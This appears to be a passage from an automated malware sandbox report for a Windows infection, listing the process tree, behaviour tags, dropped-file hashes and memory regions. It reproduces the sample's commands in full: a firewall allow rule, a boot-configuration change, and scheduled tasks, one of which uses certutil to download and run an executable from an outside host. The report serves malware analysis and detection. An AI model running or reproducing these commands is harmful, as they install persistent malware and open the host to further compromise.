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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\0df8f390cf80\0df8f390cf80\0df8f390cf80.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\0df8f390cf80\0df8f390cf80\0df8f390cf80.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220525002636.log C:\Windows\Logs\CBS\CbsPersist_20220525002636.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD59ac843f8a27565c4e21c8eb39b7d187e
SHA1f11d14d8853d00445a743f4a1922a0119aa27a14
SHA2562ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05
SHA51234aaf2142cf2f5334b652ac8a240fe77d4ffe4cdbf8eccc637acf65b54a4a9b356504184428b2397284c473d8e371c06cb6c6ea665113b23b52d25d8f2a12b3b
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
3.8MB
MD59ac843f8a27565c4e21c8eb39b7d187e
SHA1f11d14d8853d00445a743f4a1922a0119aa27a14
SHA2562ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05
SHA51234aaf2142cf2f5334b652ac8a240fe77d4ffe4cdbf8eccc637acf65b54a4a9b356504184428b2397284c473d8e371c06cb6c6ea665113b23b52d25d8f2a12b3b
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\Windows\rss\csrss.exeFilesize
3.8MB
MD59ac843f8a27565c4e21c8eb39b7d187e
SHA1f11d14d8853d00445a743f4a1922a0119aa27a14
SHA2562ec5788c6a2fefb01947491e0a23209841f708305025fa0718c34b9b18436d05
SHA51234aaf2142cf2f5334b652ac8a240fe77d4ffe4cdbf8eccc637acf65b54a4a9b356504184428b2397284c473d8e371c06cb6c6ea665113b23b52d25d8f2a12b3b
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memory/680-84-0x0000000000000000-mapping.dmp
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memory/1372-63-0x000007FEFBAB1000-0x000007FEFBAB3000-memory.dmpFilesize
8KB
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memory/1372-60-0x0000000000000000-mapping.dmp
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memory/1632-68-0x0000000002830000-0x0000000002BD6000-memory.dmpFilesize
3.6MB
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memory/1632-70-0x0000000000400000-0x0000000001002000-memory.dmpFilesize
12.0MB
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memory/1632-69-0x0000000002830000-0x0000000002BD6000-memory.dmpFilesize
3.6MB
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memory/1632-66-0x0000000000000000-mapping.dmp
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memory/1712-62-0x0000000000400000-0x0000000001002000-memory.dmpFilesize
12.0MB
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memory/1712-61-0x0000000002990000-0x0000000002D36000-memory.dmpFilesize
3.6MB
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memory/1712-58-0x0000000002990000-0x0000000002D36000-memory.dmpFilesize
3.6MB
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memory/1880-54-0x0000000002A40000-0x0000000002DE6000-memory.dmpFilesize
3.6MB
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memory/1880-57-0x0000000000400000-0x0000000001002000-memory.dmpFilesize
12.0MB
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memory/1880-56-0x0000000002DF0000-0x00000000034E5000-memory.dmpFilesize
7.0MB
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memory/1880-55-0x0000000002A40000-0x0000000002DE6000-memory.dmpFilesize
3.6MB
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memory/1916-59-0x0000000000000000-mapping.dmp